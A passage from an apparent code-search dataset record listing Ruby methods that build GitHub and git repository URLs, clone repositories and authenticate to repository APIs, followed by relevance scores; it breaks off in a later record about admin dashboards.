"def ssh_url\n uri = URI.parse(git_url)\n uri.scheme = 'ssh'\n uri.path = ''\n uri.fragment = nil\n uri\n end",
"def ssh_url\n uri = URI.parse(git_url)\n uri.scheme = 'ssh'\n uri.path = ''\n uri.fragment = nil\n uri\n end",
"def github(repository, owner = 'siimple')\n \"https://github.com/#{owner}/#{repository}.git\"\n end",
"def github_url\n case protocol\n when :ssh\n \"git@github.com:#{repo_identifier}.git\"\n when :https\n \"https://github.com/#{repo_identifier}.git\"\n when :git\n \"git://github.com/#{repo_identifier}.git\"\n else\n raise UnknownGitHubProtocol.new(protocol)\n end\n end",
"def name_to_url(name)\n \"https://github.com/#{name}.git\"\n end",
"def repo_url\n \"#{fetch(:maven_endpoint)}/#{maven_repository}/\"\n end",
"def url\n RepoURL.new(@repo[:html_url]).repo_url\n end",
"def assemble_urls( servers, repo_path, protocol=\"http://\")\n urls = \"\"\n servers.each do |server|\n Chef::Log.debug \"Setting up Repo server: #{server}\"\n urls << \"#{protocol}#{server}#{repo_path} \\n\"\n end \n urls.chomp\n urls\n end",
"def configured_uri_for(uri)\n uri = uri.gsub(\"git@github.com:\", \"https://github.com/\")\n if /https?:/ =~ uri\n remote = URI(uri)\n config_auth =\n Bundler.settings[remote.to_s] || Bundler.settings[remote.host]\n remote.userinfo ||= config_auth\n remote.to_s\n else\n uri\n end\n end",
"def get_url( url, &block )\n open( url, { http_basic_authentication: [ ENV[ 'GITHUB_USERNAME' ], ENV[ 'GITHUB_ACCESS_TOKEN' ] ] } ) do |response|\n yield response if block_given?\n end\nend",
"def github_url\n GITHUB_ARTICLES_URL + file_name\n end",
"def git_init_bare_repo_and_clone(host, git_repo_parent_path, git_repo_name, git_clone_path)\n origin_git_repo_path = git_init_bare_repo(host, git_repo_parent_path, git_repo_name)\n git_clone_repo(host, git_clone_path, origin_git_repo_path)\nend",
"def link_for_repo(repo)\n repo.url\n end",
"def get_authorization_url\n client = Octokit::Client.new\n client.authorize_url(CLIENT_ID, scope: 'public_repo read:org')\n end",
"def configure_addon_repo_urls(repoName, repoAddonURL, repoBlessedURL)\n self.log(INFO,repoName,\"Repository #{repoName} already cloned...\")\n Dir.chdir repoName\n self.log(INFO,repoName,\"Setting origin url #{repoAddonURL} for #{repoName}...\")\n s = system(\"git remote set-url origin #{repoAddonURL}\")\n if !s\n abort(\"[ERROR] Setting origin url of repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Fetching from origin for #{repoName}...\")\n s = system(\"git fetch origin --prune\")\n if !s\n abort(\"[ERROR] Fetching from origin for repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n self.log(INFO,repoName,\"Setting blessed url #{repoBlessedURL} for #{repoName} ...\")\n s = system(\"git remote set-url blessed #{repoBlessedURL}\")\n if !s\n abort(\"[ERROR] Setting blessed url of repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n end",
"def base_github_api_url_for_remote\n url = gitlib.remote.expanded_url(remote_name)\n Configuration.url_to_base_github_api_url(url)\n end",
"def initialize_clone\n # avoids crash in RepositoriesController#destroy\n return unless attributes[\"extra_info\"][\"extra_clone_url\"]\n \n p = parse(attributes[\"extra_info\"][\"extra_clone_url\"])\n self.identifier = p[:identifier] if identifier.empty?\n self.url = PATH_PREFIX + p[:path] if url.empty?\n\n err = ensure_possibly_empty_clone_exists\n errors.add :extra_clone_url, err if err \n end",
"def get_repo_url\n repo_url = ENV['MXNET_GLUON_REPO'] || DEFAULT_REPO\n repo_url += '/' if repo_url[-1] != '/'\n repo_url\n end",
"def github_repo\n # GitHub allows underscores, hyphens and dots in repo names\n # but only hyphens in user/organisation names (as well as alphanumeric).\n repository_url.scan(/:([A-Za-z0-9-]+\\/[\\w.-]+)\\.git$/).join\n end",
"def url() \n\t #'http://' << ENV['DOMAIN'] << \n\t '/' << self.author.username.to_s << '/' << self.name.to_s\n end",
"def clone_repo(root, repo)\n begin \n destination = \"#{root}/#{repo[\"destination\"]}\"\n rm_rf destination\n sh \"git clone https://github.com/rethinkdb/#{repo[\"repo\"]}.git #{destination}\"\n cd destination\n sh \"git checkout #{repo[\"branch\"]}\"\n rescue Exception\n $stderr.puts \"Error while cloning #{repo[\"repo\"]}\"\n exit 1\n end\nend",
"def clone(commit)\n repos_path = File.expand_path('repos')\n repo_path = File.join(repos_path, commit)\n @git = Git.open(repo_path) if FileTest.exist?(repo_path)\n @git = Git.clone(url, commit, path: repos_path) if @git.nil?\n end",
"def _clone_repository(project:, path:)\n if _has_ssh_key_setting?(project)\n _clone_with_setting_key(project: project, path: path)\n else\n _clone_with_system_key(project: project, path: path)\n end\n end",
"def to_base\n return nil unless @uri.scheme && @uri.host\n\n base = \"#{@uri.scheme}://#{@uri.host}\"\n Wgit::Url.new(base)\n end",
"def initialize(repos_url)\n self.repos_url = repos_url\n end",
"def github(name, ref = 'master')\n gitrepo \"github.com\", name, ref\nend",
"def build_asset_url(author, repository, options)\n Puppet.warning('Building URL myself.')\n\n tag = options[:release]\n\n if tag == 'latest'\n # Rework \"latest\" to \"master\"\n tag = 'master'\n end\n\n suffix = (options[:use_zip]) ? '.zip' : '.tar.gz'\n\n Kernel.format(\n 'https://github.com/%{author}/%{repository}/archive/%{tag}%{suffix}',\n author: author,\n repository: repository,\n tag: tag,\n suffix: suffix,\n )\nend",
"def create_uri url\n uri = URI.parse url\n uri.user = @login\n uri.password = @password\n uri\n end",
"def attempt_to_clone_using_http_auth?(remote_url, dir)\n processed_remote_url, credential_exists,\n repo_username_key, repo_password_key = get_remote_credentials(remote_url)\n\n # if it is not https format\n # we will assume it is ssh format and use normal clone\n if processed_remote_url.nil?\n clone_success, = git_clone(remote_url, dir)\n\n return true if clone_success\n\n fail_to_access(remote_url)\n else\n # otherwise\n # it is https url\n # and wheter it has credentials or not, still clone it\n\n @logger.info(\"Attempting to using your configured credentials for #{remote_url}\")\n\n clone_success, error_msg = git_clone(processed_remote_url, dir)\n\n return true if clone_success\n\n # we fail, so raise corresponding messages\n\n # we has credentials\n if credential_exists\n credentials_are_present_but_fail_to_access(remote_url,\n repo_username_key,\n repo_password_key)\n else\n # we has internet but unable to connect\n if error_msg.match?('fatal: unable to access')\n fail_to_access(remote_url)\n # we has no internet or has no credentials\n else\n internet_down_or_credential_not_found_to_access(remote_url,\n repo_username_key,\n repo_password_key)\n end\n end\n end\n\n return false\n end",
"def clone_bare_repo(repo_dir_base, repo_name, value, using_install)\n puts \"#{'***'.cyan} fetching #{repo_name.green.bold}\"\n repo_dir = \"#{repo_dir_base}/#{repo_name}.git\"\n\n # using tag or branch ?\n if value.repo_type == GitRepoType::TAG\n git_target_head = VersionHelper.identify(value.version)\n elsif value.repo_type == GitRepoType::BRANCH\n git_target_head = value.branch\n else\n raise 'no target branch or tag?'\n end\n\n # check current repo had been cloned or not.\n if File.exist? repo_dir\n\n # check current git repo's status\n if RepoHelper.is_status?(repo_dir, git_target_head)\n case value.repo_type\n when GitRepoType::TAG\n value.hash = RepoHelper.current_status(repo_dir)\n when GitRepoType::BRANCH\n value.hash = RepoHelper.current_hash(repo_dir)\n else\n raise 'no target branch or tag?'\n end\n\n return\n end\n else\n # clone\n puts \"#{'***'.cyan} Cloning #{repo_name.green.bold}\"\n RepoHelper.clone_bare(repo_dir_base, value.url, repo_name, using_install, PanConstants.disable_verbose)\n end\n\n RepoHelper.reset_repo_config(repo_dir_base, repo_name, value.url)\n\n # fetch the commit hash value by using branch name or tags\n if value.repo_type == GitRepoType::TAG\n commit_hash = RepoHelper.clone_with_tag(\n repo_name,\n git_target_head,\n repo_dir_base,\n value.compare_method,\n PanConstants.disable_verbose\n )\n\n elsif value.repo_type == GitRepoType::BRANCH\n commit_hash = RepoHelper.clone_with_branch(\n repo_name,\n git_target_head,\n repo_dir_base,\n using_install,\n PanConstants.disable_verbose\n )\n else\n raise \"unknown repo type #{value.repo_type}\"\n end\n\n raise \"unknown branch or tag or commit #{value} and commit hash:#{commit_hash}.\" if value.repo_type == GitRepoType::BRANCH && commit_hash.length != 40\n raise \"unknown branch or tag or commit #{value} and commit hash:#{commit_hash}.\" if value.repo_type == GitRepoType::TAG && commit_hash.empty?\n\n # save the commit's SHA1 hash.\n value.hash = commit_hash.strip.freeze\n\n # print \"#{'***'.cyan} Fetch #{name.green.bold} Done.\\n\\n\"\nend",
"def uri\n \"file://\" + self.repos_path\n end",
"def to_base\n return nil if @uri.scheme.nil? || @uri.host.nil?\n\n base = \"#{@uri.scheme}://#{@uri.host}\"\n Wgit::Url.new(base)\n end",
"def path\n \"repos/#{@user}/#{name}\"\n end",
"def url\n \"http://127.0.0.1:#{port}/fcrepo/\"\n end",
"def clone_addon_repo(repoName, repoAddonURL, repoBlessedURL)\n self.log(INFO,repoName,\"Cloning : #{repoName} from #{repoAddonURL}...\")\n s = system(\"git clone --quiet #{repoAddonURL}\")\n if !s\n abort(\"[ERROR] Cloning of repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n Dir.chdir repoName\n self.log(INFO,repoName,\"Add blessed repository #{repoBlessedURL} for #{repoName} ...\")\n s = system(\"git remote add blessed #{repoBlessedURL}\")\n if !s\n abort(\"[ERROR] Adding blessed remote of repository #{repoName} failed !!!\\n\")\n end\n self.log(INFO,repoName,\"Done.\")\n end",
"def github_url\n github_user.blank? ? nil : \"#{GITHUB_URL}#{github_user}\"\n end",
"def clone_repository\n if File.directory?(base_path)\n repo = ::Git.open(base_path)\n repo.checkout(\"master\")\n repo.pull\n repo.fetch\n else\n ::Git.clone(url, base_path)\n end\n true\n end",
"def repo(user_name, repo_name)\n Github::Repo.new @access_token, user_name, repo_name\n end",
"def source_url(project)\n \"github.com/#{project.name}\"\n end",
"def url_of_git_repo(remote_name)\n `git config remote.#{remote_name}.url`.strip\n end",
"def repo_name\n return unless @url\n @repo_name ||= Octokit::Repository.from_url(@url).to_s.chomp('.git')\n end",
"def github_repo_name path\n origin = remote_origin_url path\n\n if origin == \"\"\n raise NotGitHubRepo.new \"No remote origin URL: #{path}\"\n end\n\n clone_url = parse_url origin\n\n if clone_url.host.downcase != \"github.com\"\n raise NotGitHubRepo.new \"Not a GitHub repo: #{path}\"\n end\n\n chop_extension chop_leading_slash clone_url.path\n end",
"def build_uri(command = '')\n uri_to_parse = @node +'/1.1/'+ @user_obj.encrypted_login\n uri_to_parse += \"/#{command}\" unless command == ''\n URI.parse(uri_to_parse)\n end",
"def clone(url, depth = 10)\n puts \"+ git clone --depth=#{depth} #{url}\"\n system \"git clone --depth=#{depth} #{url}\"\n end",
"def github_url\n \"http://github.com/280north/cappuccino/commit/#{sha1}\"\n end",
"def to_origin\n return nil unless to_base\n return to_base unless to_port\n\n Wgit::Url.new(\"#{to_base}:#{to_port}\")\n end",
"def get_repos project_id\n $logger.info \"Getting repos\"\n\n # from the bitbucket api\n rest_endpoint = \"/rest/api/1.0/projects/#{PROJECT_ID}/repos\"\n\n http = Net::HTTP.new(BASE_GIT_URL, BASE_GIT_PORT)\n repos_request = Net::HTTP::Get.new(\"/rest/api/1.0/projects/#{PROJECT_ID}/repos?limit=1000\")\n repos_request.basic_auth GIT_USER, GIT_PASSWORD\n repos_response = http.request(repos_request)\n repos_response.value\n\n # https://confluence.atlassian.com/bitbucket/what-is-a-slug-224395839.html\n repos_body = JSON.parse(repos_response.body)\n repos = repos_body['values'].map { |v| v['slug'] }\n\n $logger.info \"Found repos #{repos}\"\n\n return repos\nend",
"def generate_github_url\n prefix = Environment.config['github']['default_prefix']\n self.github = \"#{prefix}/#{slug}.md\"\n end",
"def remote_repository\n url = \"#{configuration[:user]}@#{configuration[:domain]}:\"\n @remote_repository ||= if configuration[:repository].include?(url)\n tmp = configuration[:repository].sub(url, \"file://\")\n if tmp.include?(\"~\")\n tmp.sub!(\"~\", \"/home/#{configuration[:user]}\")\n end\n tmp\n else\n configuration[:repository]\n end\n @remote_repository\n end",
"def initialize(repo_url=nil)\n unless repo_url.nil?\n @repository_url = repo_url\n @username = repo_url.split('@').first\n end\n end",
"def clone(repo_url)\n FileUtils.mkdir_p(File.dirname(working_dir))\n git 'clone', '--recursive', repo_url, working_dir\n end",
"def clone(repo_url)\n FileUtils.mkdir_p(File.dirname(working_dir))\n git 'clone', '--recursive', repo_url, working_dir\n end",
"def github_repo\n self.github_url&.gsub(\"https://github.com/\", \"\")\n end",
"def github_url(payload)\n if(payload.get(:data, :code_fetcher, :info, :private))\n uri = URI.parse(payload.get(:data, :code_fetcher, :info, :url))\n uri.scheme = 'https'\n uri.user = config.fetch(:github, :access_token,\n app_config.get(:github, :access_token)\n )\n uri.to_s\n else\n payload.get(:data, :code_fetcher, :info, :url)\n end\n end",
"def clone\n @cache.sync\n\n # We do the clone against the target repo using the `--reference` flag so\n # that doing a normal `git pull` on a directory will work.\n git [\"clone\", \"--reference\", @cache.git_dir, @remote, @full_path]\n git [\"remote\", \"add\", \"cache\", @cache.git_dir], :path => @full_path\n git ['fetch', 'cache'], :path => @full_path\n checkout(@ref)\n end",
"def uri\n conf['uri'] || git_source\n end",
"def setDigest(username, password, url_base)\n class_httparty = self.class\n #set url\n class_httparty.base_uri url_base\n class_httparty.default_options.delete(:basic_auth)\n @auth_digest = {:username => username, :password => password}\n class_httparty.digest_auth username, password\n #puts \"auth_digest:#{@auth_digest}\"\n end",
"def repos\n @client.repos.all.collect(&:clone_url)\n end",
"def repo_clone(from_name, to_name)\n Dir.chdir(tmp_repos_path) { Pod::Executable.capture_command!('git', %W(clone #{from_name} -- #{to_name})) }\n repo_path(to_name)\n end",
"def install_url(target_id:, repository_ids: [])\n query = URI.encode_www_form(\n suggested_target_id: target_id,\n repository_ids: repository_ids\n )\n \"https://github.com/apps/#{app_name}/installations/new/permissions?#{query}\"\n end",
"def parse_repo\n matches = @source_url.match @github_regexp\n return unless matches\n owner = matches[:owner]\n name = matches[:name]\n \"#{owner}/#{name}\"\n end",
"def create(*args)\n params = args.extract_options!\n normalize! params\n filter! VALID_REPO_OPTIONS + %w[ org ], params\n assert_required_keys(%w[ name ], params)\n\n # Requires authenticated user\n post_request(\"/1.0/repositories/\", DEFAULT_REPO_OPTIONS.merge(params))\n end",
"def initialize(full_name)\n # GitHub login, uses MORPH_ prefix to make morph.io happy\n @login = [ENV['MORPH_UNAME'], ENV['MORPH_PWD']]\n abort 'Set $MORPH_UNAME and $MORPH_PWD' unless @login.any?\n @api_url = ROOT + '/repos/' + full_name\n # Check if rate limited\n abort 'Rate limited' if rate_limited?\n fetch_json\n info\n end",
"def source_repo\n \"#{@user}/#{@repo}\"\n end",
"def initialize_client_clone_and_push(type, module_name, branch, repo_url, local_repo_dir, version=nil)\n # moved this part from 'check_local_dir_exists_with_content' to this method since this only deletes .git folder\n # which can cause us problems if import fails\n if File.directory?(\"#{local_repo_dir}/.git\")\n response = unlink_local_clone?(type,module_name,version)\n unless response.ok?\n # in case delete went wrong, we raise usage error\n raise DtkError.new(\"Directory (#{local_repo_dir} is set as a git repo; to continue it must be a non git repo; this can be handled by shell command 'rm -rf #{local_repo_dir}/.git'\")\n end\n # we return to normal flow, since .git dir is removed\n end\n\n Response.wrap_helper_actions() do\n ret = Hash.new\n repo_dir = local_repo_dir(type,module_name)\n\n repo = create(repo_dir,branch,:init => true, :no_initial_commit => true)\n repo.add_remote(remote(),repo_url)\n remote_branch = local_branch = branch\n\n repo.pull_remote_to_local(remote_branch,local_branch,remote())\n repo.stage_changes()\n repo.commit(\"Adding files during initialization\")\n repo.push_with_remote(remote(), remote_branch)\n\n commit_sha = repo.head_commit_sha()\n {\"repo_obj\" => repo,\"commit_sha\" => commit_sha}\n end\n end",
"def initialize(user = nil, api_token = nil, repo_name = \"cookie_monster\") \n if user.nil?\n puts \"No user provided, getting from git config\"\n user = `git config --get github.user`.chomp\n end\n\n if api_token.nil?\n puts \"No API token provided, getting from git config\"\n api_token = `git config --get github.token`.chomp\n end\n\n\n @user = user.chomp # chomp in case user passes in bad data\n @api_token = api_token.chomp # chomp in case user passes in bad data\n @repo_name = repo_name\n\n # Authenticated client\n #@client = Octopussy::Client.new({:login => @user, :token => @api_token})\n\n # Location of local git repository. Necessary for pushing to Github.\n # Put it in .cloud_path so it doesn't conflict with anything\n @git_dir_path = File.expand_path(\"~/.cloud_path/\" + @repo_name)\n\n create_repo\n create_git_dir\n \n # For whatever reason, Repository.find raises Octopi::NotFound when\n # we've just created the repository in this run of the script.\n # Possibly a caching error.\n begin\n repo = Repository.find(:user => @user, :repo => @repo_name)\n rescue Octopi::NotFound\n puts \"Repository not found. Probably just created repository, please\"\n puts \"run this script again.\"\n exit 0\n end\n end",
"def git_clone(name, repo_with_branch)\n repo, branch = repo_with_branch.split('#')\n dir = \"#{@dir}/#{name}\"\n\n sh \"git clone --depth 1 -b #{branch} https://github.com/#{repo}.git #{dir}\"\n end",
"def fetch\n return nil if !repo || !user\n if fetched?\n pull\n else\n clone\n end\n end",
"def get_token_for(username, password)\n\t\t\t\turl = GITHUB_API_AUTH_LINK \n\t\t\t\tscopes = %w[repo gist]\n\t\t\t\tcontent = generate_scope \"Gistto\", scopes\n\t\t\t\thttps_open_for ({url: url, mthd: \"post\", content: content, username: username, password: password})\n\t\t\tend",
"def github(name, version, options = nil)\n options ||= {}\n options[:repo] ||= \"boxen/puppet-#{name}\"\n mod name, version, :github_tarball => options[:repo]\nend"
] |
[
"0.7415312",
"0.6901332",
"0.6834224",
"0.6737376",
"0.6643797",
"0.6624655",
"0.6560574",
"0.65568435",
"0.65453345",
"0.64887226",
"0.6465003",
"0.6459718",
"0.64289945",
"0.64037824",
"0.63792324",
"0.6331318",
"0.6287594",
"0.6268268",
"0.6202502",
"0.6198135",
"0.6180249",
"0.6163466",
"0.61491627",
"0.6144099",
"0.6113658",
"0.6087226",
"0.6084977",
"0.6080657",
"0.6078794",
"0.60419416",
"0.60419416",
"0.60419416",
"0.6029197",
"0.6019888",
"0.6012895",
"0.5979401",
"0.59749126",
"0.5957923",
"0.59568787",
"0.5945386",
"0.59338146",
"0.5916093",
"0.5914747",
"0.5913589",
"0.5906934",
"0.5893207",
"0.5886572",
"0.5881565",
"0.58794856",
"0.5862744",
"0.5862689",
"0.5857969",
"0.58552325",
"0.5827751",
"0.58232147",
"0.5820073",
"0.5803629",
"0.57941616",
"0.5790995",
"0.57895887",
"0.5772851",
"0.5756868",
"0.5718007",
"0.5704336",
"0.5685693",
"0.56792426",
"0.5676814",
"0.56751513",
"0.5671831",
"0.5660772",
"0.5658666",
"0.5657234",
"0.5656477",
"0.56560975",
"0.5652947",
"0.5636234",
"0.563473",
"0.56298894",
"0.5623603",
"0.56177115",
"0.56026345",
"0.56026345",
"0.55984706",
"0.5598075",
"0.5594755",
"0.5592443",
"0.5569761",
"0.55607826",
"0.5555608",
"0.5554792",
"0.5544539",
"0.55403024",
"0.55256444",
"0.55246985",
"0.55234754",
"0.55200565",
"0.5517133",
"0.5516119",
"0.55076075",
"0.5505294"
] |
0.73203
|
1
|
Overwrite this method to customize how athletes are displayed across all pages of the admin dashboard.
|
def display_resource(athlete)
"#{athlete.first_name} #{athlete.last_name}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @representante_athletes = current_user.organization.athletes\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @representante_athletes }\n end\n end",
"def index\n @athletes = Athlete.paginate(page: params[:page], :per_page => 15)\n end",
"def alerte_all\n @alerte = Alerte.all\n render layout: 'admin'\n end",
"def index\n @athletes = Athlete.all\n end",
"def index\n @athletes = Athlete.all\n end",
"def index\n @athleteseries = Athleteseries.all\n end",
"def admin_index\n return if !user_is_allowed('laws', 'view')\n \n @gen = Caboose::PageBarGenerator.new(params, {\n 'category_id' => '',\n \t\t 'legal_id_like' => '',\t\t \n \t\t 'title_like' => '',\n \t\t 'content_like' => '' \t\t \n \t\t},{\n \t\t 'model' => 'Law',\n \t 'sort'\t\t\t => 'legal_id',\n \t\t 'desc'\t\t\t => false,\n \t\t 'base_url'\t\t=> '/admin/laws'\n \t})\n \t@laws = @gen.items\n \trender :layout => 'caboose/admin'\n end",
"def index\n add_breadcrumb t(:'hyrax.controls.home'), root_path\n add_breadcrumb t(:'hyrax.dashboard.breadcrumbs.admin'), hyrax.dashboard_path\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.my_collections_path if current_ability.admin?\n add_breadcrumb t(:'hyrax.admin.sidebar.collections'), hyrax.dashboard_collections_path unless current_ability.admin? \n collection_type_list_presenter\n managed_collections_count\n super\n end",
"def index\n # debugger\n @athletes = Athlete.all\n # @a = Athlete.scope_with_argument(@a.id)\n end",
"def index\n @athletes_teams = AthletesTeam.all\n end",
"def set_athleteseries\n @athleteseries = Athleteseries.find(params[:id])\n end",
"def index\n @tareas = Tarea.all\n end",
"def index\n @aktuators = Aktuator.all\n @page_title='Aktuator'\n end",
"def index\n @arsenals = Arsenal.all\n end",
"def index\n @ag_apartments = Ag::Apartment.all\n end",
"def admin_tab(*actions)\n self.admin_actions = actions\n end",
"def index\n @artesanos = Artesano.all\n end",
"def admin_display_fields\n admin.class.terminology.terms.keys - [:admin, :published_at, :edited_at, :template_name, :batch_id]\n end",
"def autogradeListAdmin\n @adminlist[\"adminAutograde\"] = \"Admin autograding\"\n @admin_title[\"adminAutograde\"] = \"Modify autograding properties such as the VM image and the timeout value\"\n end",
"def index\n authorize! :manage, Account\n add_breadcrumb t(:'hyrax.controls.home'), root_path\n add_breadcrumb t(:'hyrax.admin.sidebar.accounts'), proprietor_accounts_path\n end",
"def index\n @alleys = Alley.all\n end",
"def index\n @tab = :admins\n @entities = Entity.all\n end",
"def anthologies\n\t\t@anthologies = Anthology.alphabetic.decorate\n\tend",
"def index\n @alligators = Alligator.all\n end",
"def admin\n self.sitemap\n self.follow('dtime:dashboard:admin')\n self.get\n self\n end",
"def navbar_locations_list\n Location.all\n end",
"def index\n @arealizars = Arealizar.all\n end",
"def set_dashboard\n end",
"def render_admin_subnavigation(entries)\n render \"alchemy/admin/partials/sub_navigation_tab\", :entries => entries\n end",
"def admin_index\n return unless (user_is_allowed_to 'view', 'rets_properties') \n render :layout => 'caboose/admin' \n end",
"def show_admin\n screen_name(\"Inicial-Admin\")\n\n distribute_ots\n\n respond_to do |format|\n format.html { render action: \"show_admin\" }\n format.json { head :ok }\n end\n end",
"def link_to_all_entries(page)\n url = admin_page_entries_path page\n link_to 'View All', url, class: 'button'\n end",
"def admin\n @happykid = OpeningTime.all\n @promo = Promo.all\n @news = News.all\n @siteInfo = SiteInfo.all\n @staff = Staff.all\n end",
"def active_admin_navigation_bar( context )\n # do not display navigation if both previous and next are not available\n return if (!@prev_item && !@next_item)\n prev_id = @prev_item != nil ? @prev_item.id.to_s : \"\"\n next_id = @next_item != nil ? @next_item.id.to_s : \"\"\n prev_id += \"?page=#{@prev_page}\" if @prev_page != 0\n next_id += \"?page=#{@next_page}\" if @next_page != 0\n \n # Build the back to index path function\n model = self.resource_class.to_s.pluralize.underscore.downcase\n index_link_function = \"admin_#{model}_path\"\n \n context.div class: :table_tools do\n context.ul class: :table_tools_segmented_control do\n context.li class: :scope do\n if @prev_item != nil\n context.a href: prev_id, class: :table_tools_button do context.text_node \"Previous\" end\n else\n context.a class: \"table_tools_button disabled\" do context.text_node \"Previous\" end\n end\n end\n context.li class: :scope do\n context.a href: \"#{send(index_link_function)}\", class: :table_tools_button do context.text_node \"Back to the list\" end\n end\n context.li class: :scope do\n if @next_item != nil\n context.a href: next_id, class: :table_tools_button do context.text_node \"Next\" end\n else\n context.a class: \"table_tools_button disabled\" do context.text_node \"Next\" end\n end\n end\n end\n end\n end",
"def index\n @liga_tymy_ares = LigaTymyAre.all\n end",
"def index\n current_admin_user\n @tablets = Tablet.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tablets }\n end\n end",
"def index\n @admin_og_main_pages = Admin::OgMainPage.all\n end",
"def index\n @admin_admins = Admin::Admin.page(params[:page]).per(15).load\n end",
"def admin_main_navigation\n entries = \"\"\n alchemy_modules.each do |alchemy_module|\n entries << alchemy_main_navigation_entry(alchemy_module)\n end\n entries.html_safe\n end",
"def index\n @armazenas = Armazena.all\n end",
"def index\n @saas_admins = Admin.all\n end",
"def activate\n # admin.tabs.add \"Typed Pages\", \"/admin/typed_pages\", :after => \"Layouts\", :visibility => [:all]\n end",
"def index\n @location[:sub_menu] = 'list_offers'\n if current_user.has_role?(:admin)\n @offers = Offer.all\n elsif current_user.has_role?(:supplier)\n @offers = Offer.where(:user_id => current_user.id)\n end\n end",
"def index\n @admin_fashions = Admin::Fashion.all\n end",
"def admin_nav\n items = {'Home' => admin_root_path, \n 'Users' => admin_users_path,\n 'Submissions' => admin_submissions_path}\n output_nav(items)\n end",
"def index\n @admin_places = Admin::Place.all\n end",
"def admin\n @top_infraction = Convocation.distinct.pluck(:infraction_id)\n @top_alerte = Alerte.distinct.pluck(:type_id)\n #render layout: 'fylo'\n #render layout: 'admin'\n render layout: 'views/index'\n end",
"def index\n @aradahs = Aradah.all\n end",
"def index\n # @admins = admin.all\n @admins = Admin.order(:nome)\n end",
"def follow_all_athletes!\n athletes.map { |a| AthleteFollower.call(a, follower) }\n end",
"def index\n @admin_account_types = AccountType.all\n end",
"def index\n # @areas = Area.paginate(page: params[:page])\n @areas = Area.paginate(page: params[:page], :per_page => 10, :order => 'name')\n @area = Area.new\n @area_items = current_user.area_new.paginate(page:params[:page]) \n end",
"def index\n authorize Admin\n @admins = initialize_grid(Admin.where(\"id != ?\", current_admin.id).order('id desc'), per_page: 10)\n end",
"def index\n @apartments = Apartment.all\n end",
"def index\n @apartments = Apartment.all\n end",
"def index\n @apartments = Apartment.all\n end",
"def index\n @tenants = Tenant.all\n @tenants = policy_scope(Tenant).order(created_at: :desc)\n #@tenant = Tenant.find(params[:id])\n #@tenant = Tenant.find(params[:id])\n #tr4 = Apartment.find(6).tenants.first.first_name\n # => apartment(:id).tenants(@tenant)\n #@tenant = Apartment.find(params[:id]).tenants(tenant_params)\n\n end",
"def index\n if admin_signed_in? && current_admin.company? \n @admin = current_admin\n @company = @admin.company\n @timesheets = @company.timesheets.order(updated_at: :desc)\n @orders = @company.orders\n @with_active_jobs = @orders.with_active_jobs\n authorize @orders\n elsif user_signed_in? && current_user.not_an_employee?\n @current_user = current_user if current_user.present?\n @company = @current_user.company\n @orders = @company.orders\n @with_active_jobs = @orders.with_active_jobs\n @timesheets = @company.timesheets.order(updated_at: :desc)\n authorize @orders\n end\n \n \n \n\n \n end",
"def anthology\n\t\t@anthology = Anthology.find(params[:id]).decorate\n\tend",
"def admin_links_for_navigation_bar\n unless current_user.nil?\n if current_user.admin?\n content_tag(:li, class: 'nav-item active') do\n link_to admin_path, class: 'nav-link' do\n icon('clipboard-data') + ' Admin Dashboard'\n end\n end\n end\n end\n end",
"def index\n @admin_agencies = Admin::Agency.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_agencies }\n end\n end",
"def index\n manage_filter_state\n init_oco if !session[:organization]\n if session[:organization] != '0'\n # OCO organization active\n @areas = Area.joins(:department).where(departments: { organization_id: session[:organization] }).includes(:worker).paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n else\n # OCO inactive\n @areas = Area.includes(:department, :worker).paginate(:page => params[:page], :per_page => per_page).order(sort_column + ' ' + sort_direction)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @areas }\n format.js\n end\n end",
"def show\n authorize @attorney\n add_breadcrumb @attorney.name\n end",
"def index \n if logged_in?\n case current_user.role.name\n when \"sitter\"\n redirect_to dashboard_sitter_path(current_user) \n when \"parent\"\n redirect_to dashboard_parent_path(current_user)\n when \"admin\"\n redirect_to :action => 'index', :controller => 'admin'\n end\n end\n\n @metro_areas, @states = setup_locations_for_public_search\n end",
"def index\n @admin_locations = Admin::Location.all\n end",
"def index\n # @alegeri_user_temas = AlegeriUserTema.all\n end",
"def index\n @alunoos = Alunoo.all\n end",
"def settings\n @store = Spree::Store.friendly.find(params[:id])\n @seller = @store.seller\n @categories = Spree::Taxonomy.find_by_name('categories').taxons\n end",
"def index\n @admin_governorates = Admin::Governorate.all\n end",
"def admin_store\n\t\t@store = current_store\n\t\t@stores = Store.all.page(params[:page]).per(10)\n\t\trender :layout => 'store_application'\n\tend",
"def index\n @apartments = Apartment.good\n end",
"def admin_menu \n @admin_menu ||= [\n ['overview', :dashboard, {controller: 'gricer/dashboard', action: 'overview'}],\n ['visitors', :menu, [\n ['entry_pages', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'entry_path'}],\n ['referers', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'referer_host'}],\n ['search_engines', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'search_engine'}],\n ['search_terms', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'search_query'}],\n ['countries', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'country'}],\n ['domains', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'domain'}],\n ['locales', :spread, {controller: 'gricer/sessions', action: 'spread_stats', field: 'requested_locale_major'}]\n ] ],\n ['pages', :menu, [\n ['views', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'path'}],\n ['hosts', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'host'}],\n ['methods', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'method'}],\n ['protocols', :spread, {controller: 'gricer/requests', action: 'spread_stats', field: 'protocol'}],\n ] ],\n ['browsers', :menu, [\n ['browsers', :spread, {controller: 